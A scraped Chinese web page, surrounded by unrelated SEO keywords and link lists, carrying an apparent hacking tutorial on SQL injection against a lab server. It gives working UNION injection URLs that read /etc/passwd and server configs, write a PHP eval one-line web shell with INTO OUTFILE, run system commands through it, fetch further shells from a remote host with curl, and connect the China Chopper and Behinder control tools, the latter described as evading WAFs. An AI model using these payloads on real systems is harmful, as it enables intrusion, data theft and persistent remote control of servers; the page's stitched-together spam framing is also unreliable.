当前位置: 首页 > news >正文

北京网站优化校学费签名设计网站

北京网站优化校学费,签名设计网站,wordpress主题站模板下载,上海中小企业服务中心sql 注入 文件读写 木马植入 远程控制 一, 检测读写权限 查看mysql全局变量 SHOW GLOBAL VARIABLES LIKE %secure%secure_file_priv 空, 则任意读写secure_file_priv 路径, 则只能读写该路径下的文件secure_file_priv NULL, 则禁止读写二, 读取文件, 使用 load_file() 函数…sql 注入 文件读写 木马植入 远程控制 一, 检测读写权限 查看mysql全局变量 SHOW GLOBAL VARIABLES LIKE %secure%secure_file_priv 空, 则任意读写secure_file_priv 路径, 则只能读写该路径下的文件secure_file_priv NULL, 则禁止读写二, 读取文件, 使用 load_file() 函数 先尝试读取系统常见的固定目录, 或者异常报出来目录 http://192.168.112.200/security/read.php?id-1 union select 1, 2, 3, ( select load_file( /etc/passwd ) ), 5, 6http://192.168.112.200/security/read.php?id-1 union select 1, 2, 3, ( select load_file( /opt/lampp/etc/httpd.conf ) ), 5, 6其他的不确定的目录与文件名可以通过 burpsuit 用字典爆破.三, 写入一句话木马, 使用sql “into outfile” 语句 1. 先尝试写入某个目录 http://192.168.112.200/security/read.php?id-1 union select 1, 2, 3, hello world, 5, 6 into outfile /opt/lampp/htdocs/security/mm.php 2. 写入后尝试用url访问这个文件, 如果404找不到对象, 可能当前目录没有写权限: Cant create/write to file /opt/lampp/htdocs/security/mm.php (Errcode: 13 Permission denied)3. 继续找下一级目录继续写入测试 http://192.168.112.200/security/read.php?id-1 union select 1, 2, 3, hello world, 5, 6 into outfile /opt/lampp/htdocs/security/test/mm.php 4. 测试成功, 写入一句话木马 使用eval()函数, 通过url中传入的参数字符串交给eval执行.4.1 使用 GET 请求: “?php eval($_GET[cmd]);?” 写入木马文件到服务器http://192.168.112.200/security/read.php?id-1 union select 1, 2, 3, ?php eval($_GET[cmd]);?, 5, 6 into outfile /opt/lampp/htdocs/security/test/mm.php 使用url访问木马文件, 传入需要执行的代码http://192.168.112.200/security/test/mm.php?cmdphpinfo();.../mm.php?cmdecho date(Y-m-d);.../mm.php?cmdsystem(ifconfig);.../mm.php?cmdsystem(cat /etc/passwd);# 远程下载其他木马文件.../mm.php?cmdsystem(curl http:/xxx/xxx/xxx.php)4.2 使用POST 请求: “?php eval($_POST[cmd]);?” 写入木马文件到服务器http://192.168.112.200/security/read.php?id-1 union select 1, 2, 3, ?php eval($_POST[cmd]);?, 5, 6 into outfile /opt/lampp/htdocs/security/test/mm.php 使用url访问木马, 使用 POST 请求提交参数.URL: http://192.168.112.200/security/test/mm.phpDATA: cmdsystem(cat /etc/passwd);四, 远程工具: 中国菜刀 说明: 这是一个远程控制工具, 依赖于已经植入的木马. 使用中国菜刀可以方便的利用木马文件, 代替手工反复post命令来查看服务器的数据, 例如浏览文件目录, 数据库等等(具体能执行的命令依赖于权限, 与进一步提权有关).准备工作:已经向服务器写入了post类型的一句话木马.例如:http://192.168.112.200/security/read.php?id-1 union select 1, 2, 3, ?php eval($_POST[cmd]);?, 5, 6 into outfile /opt/lampp/htdocs/security/test/mm.php 工具操作:1. 在中国菜刀的窗口空白处 [右键], [添加], 写入木马[地址], [参数名], [编码格式]等. 例如:地址: http://192.168.112.200/security/test/mm.php参数名: cmd2. 在添加的地址列表处 [右键], 即可选择 [文件管理], [数据库], [虚拟终端] 等功能.缺点:菜刀是采用base64编码传输, 等于是明文传输, 容易被WAF进行防护.五, 远程工具: Behinder 冰蝎 说明:这是一个远程控制工具, 参数采用加密传输, 不容易被WAF防护.服务器需要对传输的数据进行解密, 因此需要先将包含加密通信key的shell代码写入或上传到目标服务器.各种语言的 shell 代码在 server 文件夹中, shell 文件中记录了连接用的密钥key.密钥也可以自己定义, 定义规则在注释中.建议使用一句话木马通过curl将shell代码从自己的地址把文件下载到服务器上, 例如:.../mm.php?cmdsystem(curl http:/xxx/shell.php /opt/lampp/htdocs/security/test/shell.php) 准备:1. 将shell代码传入目标服务器, 比如将 shell.php 中的代码通过一句话木马写入到服务器.或者有条件将shell.php 直接上传到服务器. 2. 打开behinder界面, [右键], [添加], 输入木马[URL], [连接密码](在shell.php文件中查看), 保存.3. 双击或者右键打开连接, 连接后默认会显示phpinfo()的信息.
http://wiki.neutronadmin.com/news/358683/

相关文章:

  • 一个空间可以绑定几个网站seo行业网
  • 网站建设审批pinterest网站怎么进
  • 极简个人网站模板国家企业信用信息网官网
  • 做安装系统网站有钱赚吗桂林网站网站建设
  • 医疗集团手机网站建设图片渐隐 网站头部flash
  • 佛山网页网站制作室负责做好网站建设及维护
  • 成都建设官方网站如何设计制作一般的企业网站
  • 电商培训网站翻墙国外网站做兼职
  • 建设网站价格动漫设计与制作属于什么专业类别
  • 创业网站模板免费下载做优化网站哪个公司好
  • 山东网站方案网站建设费用设计
  • 营销网站大全微网站界面设计
  • 虞城做网站工程承包网站哪个好?
  • 做电子烟外贸网站有哪些中国机械加工网制造
  • 企业网站合同书店网站规划与建设
  • 许昌网站开发哪家好网站防止攻击
  • 网站数据分析课程滑县网站建设价格
  • seo网站结构东莞财务公司代注册公司
  • 网站开发价格报表模板蚌埠市建设学校网站
  • 乐山市做网站的公司wordpress站标
  • asp网站变成php网站哪个服务器好
  • 公司营业执照注册长春seo代理
  • 盐城做网站哪家公司好做网站都要学什么
  • 航空港建设局网站app手机软件开发
  • 网站建设行业咨讯文章关键词排名推广公司
  • 网站文章多久才收录连云港网站建设wang
  • 杭州网站设计公司链接分析属于网站开发
  • 网站服务器ip中国优秀企业网站欣赏
  • 莱芜金点子网站上海市企业服务云平台
  • 网站被黑客入侵怎么办工作时做网站使用软件